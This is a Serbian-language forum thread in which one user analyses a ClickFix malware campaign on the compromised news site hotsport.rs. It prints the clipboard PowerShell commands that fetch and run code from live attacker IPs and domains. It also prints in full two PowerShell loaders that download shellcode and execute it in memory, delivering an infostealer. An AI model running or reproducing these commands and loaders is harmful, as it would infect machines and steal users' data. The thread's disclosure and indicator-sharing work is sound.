[milos_rs]

EDIT: Inicijalno sam otkrio jednu stranicu ali sam kasnije detaljnije pogledao i ceo sajt je kompromitovan, sve stranica na sajtu šire isti ClickFix napad...

Na stranici hotsport[.]rs/2025/10/11/petnaest-godina-napretka-crvene-zvezde-od-2344-do-toga-da-evropa-ne-moze-da-se-zamisli-bez-crveno-belih/#goog_rewarded a potencijalno i na drugima se javlja ClickFix napad pri otvaranu :

   

Cilj je da posetilac odradi predstavljene komande na računaru i time se inficira kradljivcem podataka - infostealerom

Komanda koja je stavljena u clipboard je :

Code:

powershell "Write-Host(iex(irm((('178.'+'16')+('.52.'+'232')))))2>$null"

Posle rešavanja zagonetke i ulepšavanja komandi dobije se :

Code:

powershell Invoke-Expression (Invoke-RestMethod "http://178.16.52.232")

VT za IP adresu ukazuje da već oko 18 dana širi malver i da je malver iz porodice IClickFix 

https://www.virustotal.com/gui/ip-addres.../detection

   

hotsport stranica učitava lažnu CloudFlare stranicu sa dntds[.]shop/jsrepo?rnd=0.7086982433425174 koji takođe ima detekcije na izvolte :

https://www.virustotal.com/gui/url/64ef6.../detection

   

hotsport sajt koristi Wordpress i ima mnoge stare verzije plug-ina, klasičan vektor za kompromitaciju sajtova i ubacivanje ovakvih napada

[milos_rs]

još uvek je aktivno i učitava sledeću fazu sa drugačije IP adrese nego ranije...

   

u klipbord kopira neke gluposti i Powershell komandu :

Code:

iex(irm http://158.94.208[.]92/?sid=1782748293292-w823zyee -UseBasicParsing)

takođe se izgleda koristi i kao domen na drugim mestima, ne i na hotsportu...

Code:

digitalenterprise2026.com has address 158.94.208.92

IP adresa je prepoznata kao zlonamerna :

   

Nisam uspeo da učitam fazu sa IP adrese, kôd koji je ubrizgan u stranicu hotsport-a AI objašnjava ovako :

This is heavily obfuscated malicious JavaScript that performs several dangerous actions. Let me break down what it actually does:

What This Code Does

1. Anti-Bot/Environment Detection
The code first checks if it's running in a bot/crawler environment:

• Detects common bots (Googlebot, Bingbot, Baidu, Ahrefs, SEMrush, etc.)
  
• Checks for headless browsers (PhantomJS, curl, wget, Python)
  
• Verifies browser screen dimensions and other environment variables
  
• If it detects a bot or crawler, it exits without executing the payload
  

2. Creates an "Eval" Obfuscation Technique
The code builds an evaluation function using string manipulation and XOR decryption. The heavily obfuscated strings are actually:

• Base64-encoded or XOR-encrypted data
  
• Split across multiple array entries (the huge_0x3eef71 array contains encrypted strings)
  
• Decrypted at runtime using the_0x5eb7 function
  

3. Executes Encrypted Payload
After environment checks pass, the code:

• Extracts encrypted data from the massive string array
  
• Decrypts it using XOR with a key
  
• Executes it using eval() or similar dynamic execution methods
  

The Actual Attack Chain

Based on the obfuscation patterns (especially the zwrWA, JQfgQ, iUhYt strings), this code is designed to:

1. Download and execute a second-stage payload (likely from a remote server)
   
2. Steal browser information (cookies, saved passwords, browser fingerprints)
   
3. Inject malicious scripts into the page
   
4. Redirect users to phishing pages or exploit kits
   

Takođe šalje upit na BNB Smart Chain Testnet contract  :

   

What This Contract Does
Based on the decoded strings I can extract, this contract likely:

1. Creates an HTML script element (createElement('script'))
   
2. Injects malicious JavaScript into a web page
   
3. Uses browser fingerprinting (userAgent, navigator)
   
4. Contains base64-encoded malware payloads
   

[milos_rs]

Na stranici hotsport[.]rs/2026/06/03/subotica-ispratila-dan-sporta-i-otvorila-put-ka-regionalnim-finalima-plazma-sportskih-igara-mladih/ se dešava isto :

   

I na najnovijim vestima, na primer hotsport[.]rs/2026/06/30/klop-arsenal-nemacka-mundijal/ 

   

Preko mesec dana ovaj sajt širi ClickFix napade

[milos_rs]

Uspeo sam da dođem do druge faze

link za skidanje koji clickfix kopira u klipbord se stalno menja (158.94.208[.]92/?sid=1782984166624-efau5j60) - u adresi se SID deo menja svaki put kada se učita clickfix i izgleda ga brzo ukine da bi sprečio analizu.

Kôd koji se dobija sa linka je zamagljen naravno :

Code:

$cmgfihWUEudjbAjBGG = "http://158.94.208[.]104/my_enterprise" try {     $eQanFaygL = Invoke-WebRequest -Uri $cmgfihWUEudjbAjBGG -UseBasicParsing -ErrorAction Stop     $uPoipCDlQzuFMFnw = $eQanFaygL.Content     $zZfQwTULN = $uPoipCDlQzuFMFnw.Length     $vRRTPuAPMYw = @" using System; using System.Runtime.InteropServices; public class WnFpDdUFUaNAfohJ {     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr GetCurrentProcess();     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern uint WaitForSingleObject(IntPtr h, uint ms); } "@     Add-Type -TypeDefinition $vRRTPuAPMYw     $IbOUfKvmViuGIqj = 0x1000     $UIjEXduDK = 0x2000     $bSHdXnHNPPnYOxWmG = 0x40     $cqGKVEjlwVSoFfRMUL = [WnFpDdUFUaNAfohJ]::VirtualAlloc([IntPtr]::Zero, $zZfQwTULN, $IbOUfKvmViuGIqj -bor $UIjEXduDK, $bSHdXnHNPPnYOxWmG)     if ($cqGKVEjlwVSoFfRMUL -eq [IntPtr]::Zero) { throw "Alloc failed" }     [System.Runtime.InteropServices.Marshal]::Copy($uPoipCDlQzuFMFnw, 0, $cqGKVEjlwVSoFfRMUL, $zZfQwTULN)     $AdpTtGguKlfAAsL = 0     $kspzMhJGZJSupts = [WnFpDdUFUaNAfohJ]::CreateThread([IntPtr]::Zero, 0, $cqGKVEjlwVSoFfRMUL, [IntPtr]::Zero, 0, [ref]$AdpTtGguKlfAAsL)     if ($kspzMhJGZJSupts -eq [IntPtr]::Zero) { throw "Thread failed" }     [WnFpDdUFUaNAfohJ]::WaitForSingleObject($kspzMhJGZJSupts, 30000) | Out-Null     Write-Host "done." } catch {     exit 1

Ovaj kôd se izvršava preko PowerShella, a AI ga opisuje ovako :

This is malicious PowerShell code that downloads and executes shellcode from a remote server. Here's a detailed breakdown:
What the Code Does

1. Downloads shellcode from http://158.94.208[.]104/my_enterprise
   
2. Allocates executable memory in the current process
   
3. Copies the downloaded shellcode into that memory
   
4. Creates a thread to execute the shellcode
   
5. Waits 30 seconds for it to run
   

URL odakle se skida shellcode ima VT detekcija: https://www.virustotal.com/gui/url/64e75...a6f3435067

   

Shellcode ima detekcija: https://www.virustotal.com/gui/file/1957...db789c2533

   

i na kraju payload: https://www.virustotal.com/gui/file/e07e...917281fcbc

   

Prema VT u pitanju je PureLogs kradljivac podataka (infostealer)

IP adrese sa kojih se skida payload kao i gde se nalazi C2 su deo firme Omegatech LTD koja je poznata kao utočište sajber kriminala :

   

[milos_rs]

Neko vreme je sajt bio očišćen ali sada opet pokazuje clickfix :

   

Preuzima neke podatke sa blokčejn pametnog ugovora :

   

Učitava onda pretpostavljam kôd za clickfix da prikaže na sajtu :

   

u klipbord stavlja:

Code:

iex(iwr https://cloudeliveryenterprise[.]com/?sid=1789390791694-5262u0s3 -UseBasicParsing)

Dok je clickfix na ekranu u pozadini svake sekunde pokušava da učita sledeće :

   

Čim preuzmem sadržaj sa URL-a koji je stavljen u klipbord ovaj link vraća sledeće :

Code:

handleCmdCheck_1789390997225_182({   "executed": true });

označavajući time da je payload preuzet i onda prikaže normalan hotsport.rs sajt, ostavljajući posetiocu mišljenje da je odradio captcha kako treba i da je ušao na sajt...

prvi payload/loader je :

Code:

$AVwqjgsy = "https://cloudeliveryenterprise.com/ZxC9vBnM7lKjH3gF/" try {     $HdFzteDPZiKz = Invoke-WebRequest -Uri $AVwqjgsy -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop     $dWThJkmCgaBF = $HdFzteDPZiKz.Content     $OieyIomUKVIylxTcol = $dWThJkmCgaBF.Length     $GGVCoqSAhXlyG = @" using System; using System.Runtime.InteropServices; public class JGklVween {     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr GetCurrentProcess();     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);     [DllImport("kernel32.dll", SetLastError=true)]     public static extern uint WaitForSingleObject(IntPtr h, uint ms); } "@     Add-Type -TypeDefinition $GGVCoqSAhXlyG     $sTuOqhDSwCoMALYgY = 0x1000     $KcSUnkUSHdw = 0x2000     $axcAGk = 0x40     $JixuqNnJlUIXg = [JGklVween]::VirtualAlloc([IntPtr]::Zero, $OieyIomUKVIylxTcol, $sTuOqhDSwCoMALYgY -bor $KcSUnkUSHdw, $axcAGk)     if ($JixuqNnJlUIXg -eq [IntPtr]::Zero) { throw "Alloc failed" }     [System.Runtime.InteropServices.Marshal]::Copy($dWThJkmCgaBF, 0, $JixuqNnJlUIXg, $OieyIomUKVIylxTcol)     $gadCnTqpkUIBNUhch = 0     $TNQQhu = [JGklVween]::CreateThread([IntPtr]::Zero, 0, $JixuqNnJlUIXg, [IntPtr]::Zero, 0, [ref]$gadCnTqpkUIBNUhch)     if ($TNQQhu -eq [IntPtr]::Zero) { throw "Thread failed" }     [JGklVween]::WaitForSingleObject($TNQQhu, 30000) | Out-Null } catch {     exit 1

Očigledno učitava sledeći payload sa tog URL-a, payload je https://www.virustotal.com/gui/file/60e5.../detection

   

[milos_rs]

inače ova kompromitacija traje već 4 meseca, evo sa jednog foruma još sredinom maja se neko žalio:

   

1. jula sam pisao na mejl samom sajtu tako i firmi Cubes koja ga održava i hostuje i ništa se nije promenilo